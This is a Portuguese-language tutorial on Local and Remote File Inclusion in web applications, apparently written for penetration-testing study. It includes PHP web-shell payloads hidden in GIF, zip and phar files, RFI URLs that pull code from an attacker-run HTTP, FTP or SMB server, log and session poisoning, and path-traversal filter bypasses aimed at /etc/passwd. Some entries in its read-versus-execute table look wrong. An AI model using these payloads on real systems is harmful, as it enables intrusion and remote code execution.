Introdução
Muitos serviços serviços modernos de PHP, JavaScript, ou Java, utilizam de parâmetros HTTP para especificar o que é mostrado na página web, que permite construir páginas de formas dinâmicas, reduzindo o tamanho total do arquivo e simplificando o código. Em alguns casos, parâmetros são utilizados para especificar qual parâmetro é mostrado na página. Se essas funcionalidades não forem codificadas corretamente, um atacante pode manipular esses parâmetros para mostrar o conteúdo de qualquer arquivo, levando a um LFI ou a um RFI.
Local File Inclusion (LFI)
O lugar mais comum que nós costumamos encontrar LFI são dentro de motores de template. Para conseguir fazer com que a aplicação web se pareça a mesma em diversas páginas, um motor de template mostra uma página com diversas partes estáticas, como header
, navigation bar
e footer
, e depois carrega dinamicamente outros conteúdos entre as páginas. Se não, toda página no servidor deveria precisar ser modificada quando modificações fossem feitas em qualquer parte do servidor. Isso é comumente visto em parâmetros como /index.php?page=about
, onde index.php
define o conteúdo estático da página, e somente puxa o conteúdo dinâmico especificado pelo parâmetro, que nesse caso pode ser algo como about.php
. Como nos temos controle sobre o about
na requisição, talvez é possível fazer com que a aplicação web pegue outros arquivos e mostre ele na página.
Vulnerabilidades do tipo LFI podem levar a exposição inadequada de código, informação, ou até mesmo Remote Code Execution em certas condições. Expor o código fonte pode permitir que atacantes em testar partes do código e outras vulnerabilidades, que antes permaneciam como desconhecidas. Além disso, expor informação sensível pode ajudar atacantes em enumerar o servidor remoto em busca de pontos fracos ou até mesmo credenciais vazadas e chaves que permitam eles terem acesso direto ao servidor.
Remote File Inclusion (RFI)
Existem diversas vantagens em explorar um Remote File Include. Por exemplo, com essa vulnerabilidade, é possível:
- Enumerar portas locais da aplicação, com um (CWE-918) Server-Side Request Forgery (SSRF)
- Conseguir um Remote Code Execution através de um arquivo malicioso que nós temos controle
Verificando RFI
Nas maiorias de linguagens, incluir requisições remotas pode ser considerada uma prática perigosa pois permite um diversas vulnerabilidades. Isso é porque incluir URLs é padronizada como desligada. Mas, de qualquer forma, isso não totalmente confiável mesmo se essa configuração estiver ativada. Para testar, nós precisamos primeiramente, antes de tudo, tentar incluir um arquivo local para garantir que nossa tentativa não será bloqueado por algum firewall ou medidas de segurança. Para isso, nós podemos usar um http://127.0.0.1:80/index.php
. Se o conteúdo for incluído como código fonte e o PHP for, de fato, executado, então isso vai permitir que uma execução Remote Code Execution. Se o texto for mostrado em texto plano, então não será possível isso.
Remote Code Execution com RFI
Para começar, é uma boa ideia iniciar um servidor HTTP na sua máquina, nas portas 80 ou 443, pois essas portas podem estar liberadas no firewall da aplicação web.
HTTP
Para começar um servidor HTTP, podemos usar o servidor do Python, por exemplo:
python3 -m http.server <LISTENING_PORT>
E podemos incluir o conteúdo malicioso no servidor através da nossa porta aberta.
?language=http://<YOUR_IP>:<LISTENING_PORT>/<FILE>.php&<PARAMETER>=<VALUE>
FTP
Podemos também criar um servidor FTP com a extensão pyftpdlib
do Python, com o seguinte comando:
python3 -m pyftpdlib -p 21
Mas agora, devemos mudar o protocolo do arquivo malicioso para conseguir acessar
?language=ftp://<YOUR_IP>/<FILE>.php&<PARAMETER>=<VALUE>
Como você pode ver, isso é muito simular ao protocolo HTTP. Porém, por padrão, o PHP tenta se autenticar como usuário anonymous
. Se o servidor requer uma autenticação válida, então pode-se passar os parâmetros através da URL, como por exemplo:
?language=ftp://<USER>:<PASS>@<YOUR_IP>/<FILE>.php&<PARAMETER>=<VALUE>
SMB
Se a aplicação vulnerável está sendo hospedada em uma máquina rodando Windows, então nós não precisamos do parâmetro allow_url_include
ativado para explorar o RFI, pois nós podemos utilizar o protocolo SMB para realizar a inclusão do arquivo remoto. Isso é porque Windows trata os arquivos de servidores remotos SMB como arquivos normais, que pode ser referenciado diretamente através de um diretório UNC.
Nós podemos subir um servidor SMB através do Impacket's smbserver.py
, que permite autenticação pelo usuário anonymous
por definição, portanto, podemos subir o servidor com o seguinte comando:
impacket-smbserver -smb2support share $(pwd)
Usando a estrutura de diretório UNC, podemos especificar o comando como, por exemplo:
?language=\\<YOUR_IP>\share\<FILE>.php&<PARAMETER>=<VALUE>
File Upload
Enviar arquivos para o servidor é, sem sombra de dúvidas, uma das funcionalidades mais importantes das aplicações modernas. Ela nos permite enviar informações pessoais ao servidor. Entretanto, essa funcionalidade pode aumentar a possibilidade de atacantes explorar o sistema.
O tipo de ataque que nós vamos discutir nessa secção, não requer que o sistema de upload de arquivos esteja vulnerável, mas somente que nós sejamos capazes de upar arquivos. Se a função que estamos lidando tiver capacidade de executar, então iremos conseguir efetuar um Remote Code Execution independente da extensão do arquivo.
Upload de imagens
A vulnerabilidade, nesse cenário, é explorada se estiver localizada na maneira com que a inclusão da imagem é efetuada, e não no formulário de inclusão da imagem.
Fazendo um arquivo malicioso
Nosso primeiro passo, é criar um arquivo malicioso de imagem com um Web Shell PHP dentro do arquivo, e ainda fazer com que o arquivo funcione como uma imagem. Para isso, nós vamos utilizar alguma extensão permitida no nosso nome do arquivo (como por exemplo, shell.gif
), e também devemos incluir os bytes mágicos no começo do arquivo (por exemplo, GIF8
), para evitar casos onde existe uma verificação além da extensão do arquivo. Então, podemos fazer o arquivo malicioso de tal forma:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Esse arquivo é totalmente inofensivo em aplicações na maioria dos testes. Entretanto, se nós combinarmos essa imagem com uma vulnerabilidade LFI, nós seremos capazes de conseguir alcançar um Remote Code Execution.
Código malicioso upado
Uma vez que temos o código malicioso upado, nós devemos ver onde ele é incluído. Para isso, podemos acessar algum local que contém essa imagem e verificar o caminho que está imagem está localizada. Se nós tivermos conhecimento de onde a imagem (ou arquivo) está localizado, nós podemos realizar um web fuzzing em busca desse arquivo.
Com o caminho do arquivo em mãos, podemos incluir o caminho numa vulnerabilidade LFI e ver o código sendo executado.
?language=.
/profile_images/shell.gif
Upload de arquivos ZIP (PHP Only)
Nós também pode utilizar um PHP Wrapper (zip) para conseguir atingir um Remote Code Execution. Entretanto, o wrapper zip
não é ativado por padrão, e é necessário que ele seja ativado e instalado no backend para conseguirmos utiliza-lo.
Para utilizar essa técnica, nós podemos devemos começar criando uma Web Shell e zipando ela com uma extensão aceita pelo servidor web. Por exemplo:
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
Atenção
Apesar da extensão estar como
.jpg
, alguns sistemas ainda podem detectar que o arquivo é um zip e barrar o upload.
Uma vez que o upload está bem sucedido, nós podemos chamar o código através do wrapper, ao deszipa-lo. Por exemplo,
?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
Upload de arquivos PHAR (PHP Only)
Por último, nós podemos utilizar o PHP Wrapper (phar) para atingir o mesmo resultado. Para isso, nós vamos precisar criar um script PHP:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
E compilar isso com PHP, para depois renomearmos isso para a extensão .jpg
.
php --define phar.readonly=0 shell.php && mv shell.php shell.jpg
Agora, nós podemos executar o Phar utilizando o PHP Wrapper e adicionar o arquivo com ./shell.txt
, para conseguir uma saída e conseguir executar o comando, por exemplo
?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
PHP Session Poisoning
Através de um ataque de PHP Session Poisoning, é possível também incluir um arquivo de texto malicioso ao buscar pela configuração das sessões. Por exemplo, é possível ver sobre qual parâmetro nós temos controle dentro de nossa sessão e modificá-lo a fim de conseguir um texto que nos leve a um Remote Code Execution. Por exemplo, num cenário onde nós temos controle sobre o parâmetro language
do nossa sessão, nós podemos defini-la como algo malicioso para futuramente chamar ela através de um Local File Include.
Log Poisoning
Da mesma maneira que fizemos com o PHP Session Poisoning, nós podemos infectar também os logs de uma aplicação, com algum código malicioso que ficará armazenado nos logs, para depois chamar esse conteúdo através de um Local File Include.
Para isso, é interessante definir o header User-Agent
, pois ele sempre fica salvo nos logs.
Exemplos de Códigos Vulneráveis
Vamos dar uma olhada em alguns exemplos de a File Include para entender como essa vulnerabilidade acontece. Como mencionado anteriormente, vulnerabilidades desse tipo podem acontecer em diversas tecnologias de desenvolvimento e frameworks, tais como PHP, NodeJS, Java, .NET, e muitos outros. Cada um deles pode ter uma pequena diferença para importar os arquivos, mas todos eles compartilham a mesma coisa: a maneira de carregar através do mesmo caminho.
Cada arquivo pode ter um Header dinâmico ou diferentes conteúdos para expressar a linguagem do usuário. Por exemplo, a página pode ter um parâmetro como ?language
num parâmetro GET, e o usuário pode mudá-lo através de um menu, então, a mesma página é carregada passando outra linguagem como parâmetro, como por exemplo ?language=pt-br
. Em alguns casos, mudar a linguagem pode fazer com que a aplicação comece a carregar páginas de outros diretórios (por exemplo, /en/
ou /ptbr/
). Se nós temos controle do caminho que os arquivos vão começar a ser carregados, então talvez nós podemos começar a explorar essa vulnerabilidade para ler outros arquivos e potencialmente conseguir um Remote Code Execution.
PHP
Em PHP, como nós estamos costumados a utilizar a função ìnclude()
para carregar um arquivo local ou remoto enquanto nós carregamos a página. Se o path
passado para o include()
é de controle do usuário através de um parâmetro GET, por exemplo, e se o código não efetua nenhum tipo de filtro ou sanitização do input do usuário, então esse código é vulnerável a LFI.
if (isset($_GET['language'])) {
include($_GET['language']);
}
Como nos podemos observar, o parâmetro language
está sendo passado diretamente para dentro do include()
. Então, qualquer caminho que nós passarmos para language
será carregado na página, incluindo qualquer arquivo local no backend do sistema. Isso não é exclusivo para a função include()
, como para muitas funções do PHP isso iria levar a mesma vulnerabilidade as quais nós temos controle do caminho passado para elas. Funções como include_once()
, require()
, require_once()
, file_get_contents()
, e diversas outras.
NodeJS
Como visto em casos com PHP, servidores web NodeJS também carregam o conteúdo baseado em parâmetros HTTP. O seguinte código é um exemplo básico de como um parâmetro GET language
pode ser utilizado para controlar o que vai ser escrito na página:
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
Como nós podemos ver, qualquer parâmetro passado pela URL será utilizado pela função readfile
, que vai escrever o conteúdo do arquivo na resposta HTTP. Outro exemplo é a função render()
, que é utilizada pelo framework Express.js. Esse seguinte código demonstra um exemplo de como usar o parâmetro language
para determinar de qual diretório deve-se importar about.html
:
app.get("/about/:language", function(req, res) {
res.render("/${req.params.language}/about.html");
})
Ao contrário de outros exemplos, o parâmetro foi passado antes do ?
da URL. O exemplo utiliza o parâmetro da própria URL. Como os parâmetros são utilizados diretamente dentro da função render()
para especificar qual arquivo carregar, nós podemos mudar a URL para mostrar um arquivo diferente.
Ler vs Executar
Função | Ler conteúdo | Ler conteúdo remoto | Executar comandos |
---|---|---|---|
PHP | |||
include() /include_once() | ✅ | ✅ | ✅ |
require() /require_once() | ✅ | ✅ | ❌ |
file-get_contents() | ✅ | ❌ | ✅ |
fopen() /file() | ✅ | ❌ | ❌ |
NodeJS | |||
fs.readFile() | ✅ | ❌ | ❌ |
fs.sendFile() | ✅ | ❌ | ❌ |
res.render() | ✅ | ✅ | ❌ |
Java | |||
include | ✅ | ❌ | ❌ |
import | ✅ | ✅ | ✅ |
.NET | |||
@Html.Partil() | ✅ | ❌ | ❌ |
@Html.RemotePartial() | ✅ | ❌ | ✅ |
Response.WriteFile() | ✅ | ❌ | ❌ |
include | ✅ | ✅ | ✅ |
Bypasses
Path Transversal não recursivo
Uma das maneiras mais básicas de proteção contra LFI é um filtro de procurar e substituir, onde todas as substrings ../
são removidas para evitar (CWE-35) Path Transversal, como por exemplo:
$language = str_replace('../', '', $_GET['language'])
Entretanto, dessa maneira, como existe uma remoção não recursiva de ../
, isso acaba por sendo um filtro inseguro de tentar se prevenir do LFI, pois é facilmente burlável. Por exemplo, se nós usarmos ....//
como payload, então o filtro iria remover ../
e a resultado final seria ../
, o que significa que nós ainda conseguimos realizar um Path Transversal. Podemos utilizar outras maneiras de burlar esse filtro, tais como:
..././
....\/
....////
Concatenação de extensão
Como discutido na sessão anterior, algumas aplicações podem tentar concatenar a extensão .php
, para garantir que o arquivo que nós estamos utilizando é da extensão desejada. Entretanto, aplicações modernas de PHP, nós podemos não conseguir burlar esse tipo de restrição e ficarmos limitados em apenas ler arquivos com essa extensão, o que ainda pode ser útil.
Existem algumas técnicas que nós podemos utilizar, mas elas são obsoletas e só funcionam em versões mais antigas do PHP e somente funcionam em versões antes da 5.3/5.4.
Truncar o caminho
Em algumas versões do PHP, strings definidas tem um máximo de 4096 caracteres, devido a limitação de sistemas 32 bits. Se uma string maior é fornecida, ela seria simplesmente truncada, e todos os caracteres além do máximo seriam ignorados. Além disso, PHP também removia os caracteres /.
em strings de paths. Então, para /etc/passwd/.
seria truncado para /etc/passwd
. PHP, e sistemas Linux em geral, também ignoram barras múltiplas, então ////etc/passwd
é o mesmo que /etc/passwd
. Similarmente, o diretório atual .
no meio do caminho pode ser ignorado, como em /etc/./passwd
.
Se nós combinarmos essas duas limitações do PHP, nós podemos criar uma string muito longa que nos leva ao caminho correto. Sempre quando atingirmos a limitação de 4096 caracteres, a concatenação da extensão .php
será truncada, e nós teríamos o path sem a extensão.
Atenção
Para essa técnica funcionar, é necessário que o primeiro path seja um path não existente no servidor
Null Byte
Versões mais antigas do PHP, como versões anteriores ao 5.5, estão vulneráveis a Null Byte, o que significa que o byte nulo (%00
) no fim da string iria terminá-la e não seria considerado nada depois disso. Isso é devido a maneira com que strings são armazenadas na memória de baixo nível, onde o byte nulo (%00
) indicam o fim da string, como em Assembly, C ou C++.
Para explorar essa vulnerabilidade, nós podemos inserir um byte nulo no nosso payload, como /etc/passwd%00
, como o path final que seria passado para o include()
seria (/etc/passwd%00.php
). Dessa maneira, mesmo com o .php
na nossa string, qualquer coisa depois do byte nulo seria truncado, e a string final considerada seria de fato /etc/passwd
.